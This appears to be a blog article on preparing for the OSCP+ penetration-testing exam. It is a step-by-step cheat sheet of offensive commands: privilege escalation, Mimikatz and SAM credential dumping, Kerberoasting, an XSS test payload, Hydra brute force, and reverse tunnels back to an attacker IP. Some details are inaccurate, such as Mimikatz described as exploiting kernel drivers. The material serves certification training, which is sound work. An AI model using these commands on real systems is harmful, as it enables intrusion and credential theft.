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Introduction:
The OSCP+ certification demands more than theoretical knowledge—it requires real-world penetration testing skills under exam pressure. Practical Capture The Flag (CTF) training bridges the gap between textbook learning and live attack simulations, equipping you with methodologies to enumerate, exploit, and pivot through compromised networks.
Learning Objectives:
- Master Windows and Linux privilege escalation vectors using real-world tools and scripts
- Execute Active Directory attacks, tunneling, and credential dumping in a lab environment
- Develop professional report writing skills to document findings for OSCP+ exam success
You Should Know:
1. Linux Privilege Escalation: Enumeration to Root
Start by gathering system information to identify misconfigurations. Use automated scanners and manual checks.
Step-by-step guide:
- Run LinPEAS to detect weak permissions, cron jobs, and SUID binaries:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh chmod +x linpeas.sh ./linpeas.sh
- Check for writable cron scripts (e.g.,
/etc/crontab,/var/spool/cron/crontabs/):cat /etc/crontab ls -la /etc/cron.d/
- Exploit sudo misconfigurations:
sudo -l sudo -u root /bin/bash if NOPASSWD is set
- Find SUID binaries for privilege escalation (e.g.,
pkexec,sudo,cp):find / -perm -4000 2>/dev/null
2. Windows Privilege Escalation: From User to SYSTEM
Windows environments often have unquoted service paths, weak registry permissions, or AlwaysInstallElevated enabled.
Step-by-step guide:
- Run winPEAS or PowerUp.ps1:
powershell -ep bypass . .\PowerUp.ps1 Invoke-AllChecks
- Check for unquoted service paths:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\"
- Exploit vulnerable kernel drivers using tools like `SharpKatz` or
Mimikatz:mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
- Abuse AlwaysInstallElevated registry keys:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
3. Active Directory Attacks: Kerberoasting and AS-REP Roasting
AD is central to OSCP+. Extract TGS tickets for offline cracking.
Step-by-step guide:
- Enumerate domain users and SPNs using
PowerView:. .\PowerView.ps1 Get-NetUser -SPN
- Request Kerberoastable tickets with
Rubeus:Rubeus.exe kerberoast /outfile:hashes.kerberoast
- Crack tickets with Hashcat (mode 13100):
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt
- For AS-REP roasting, find users without pre-authentication:
Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
- Web Application Attacks: SQLi and XSS for Initial Foothold
Web vulnerabilities often grant the first shell. Use manual and automated techniques.
Step-by-step guide:
- Test for SQL injection with
sqlmap:sqlmap -u "http://target.com/page?id=1" --dbs --batch
- For XSS, inject a simple payload to test alert:
<script>alert('XSS')</script> - Enumerate directories with
gobuster:gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
- Exploit file upload vulnerabilities by bypassing extensions (e.g.,
shell.php.jpg).
- Tunneling and Pivoting: Chisel and SSH Port Forwarding
After compromising a host, pivot to internal networks. Use lightweight tools.
Step-by-step guide:
- Set up Chisel server on your attacking machine:
chisel server -p 8000 --reverse
- On compromised Linux host, connect back:
chisel client <your_IP>:8000 R:socks
- Configure proxychains to route tools through the tunnel:
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf proxychains nmap -sT -Pn 192.168.1.0/24
- For Windows, use `plink.exe` (PuTTY Link) for SSH tunneling:
plink.exe -ssh -R 8080:localhost:80 attacker@<your_IP> -N
6. Password Attacks: Cracking NTLM and /etc/shadow
Offline cracking is essential for credential reuse. Gather hashes and use hashcat.
Step-by-step guide:
- Dump SAM hashes from Windows (requires admin):
reg save hklm\sam sam.save reg save hklm\system system.save secretsdump.py -sam sam.save -system system.save LOCAL
- On Linux, unshadow /etc/passwd and /etc/shadow:
unshadow passwd.txt shadow.txt > unshadowed.txt john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
- Crack NTLM hashes with hashcat (mode 1000):
hashcat -m 1000 ntlm_hash.txt /usr/share/wordlists/rockyou.txt
- Use `hydra` for online brute-force (SSH, RDP, FTP):
hydra -l admin -P rockyou.txt ssh://target_ip
7. Report Writing for OSCP+ Exam Success
Documentation is 20% of the exam. Structure findings clearly.
Step-by-step guide:
- Use a template with sections: Executive Summary, Methodology, Findings (with risk rating, proof of concept, remediation).
- Include screenshots of each exploit step (e.g., `scrot` on Linux, Snipping Tool on Windows).
- Annotate commands with output evidence:
Command used whoami Output: nt authority\system
- Generate a PDF report using tools like `Pandoc` or
Dradis.
What Undercode Say:
- Hands-on CTF training simulates the pressure and complexity of the OSCP+ exam, turning theoretical knowledge into muscle memory for privilege escalation and pivoting.
- Mastery of Windows and Linux attack chains, from enumeration to root/SYSTEM, is non‑negotiable; automated scanners alone won’t pass the exam—manual validation and creativity are key.
- The increasing integration of Active Directory attacks in certifications reflects real‑world enterprise threats. Training that includes Kerberoasting, tunneling, and credential dumping directly aligns with red team operational needs.
Prediction:
As OSCP+ gains traction among employers for technical screening, structured practice programs will become the new standard for certification preparation. We foresee a rise in micro‑labs simulating exam‑like chaos—time‑boxed, noisy, and unpredictable. Additionally, AI‑driven coaching tools will emerge to provide real‑time hints and exploit suggestions, blurring the line between human mentorship and automated tutoring. However, the core remains unchanged: only deliberate, hands‑on hacking builds the reflexes needed to pass. Expect Ignite Technologies and similar providers to expand into cloud‑based persistent labs, enabling 24/7 practice from any browser.
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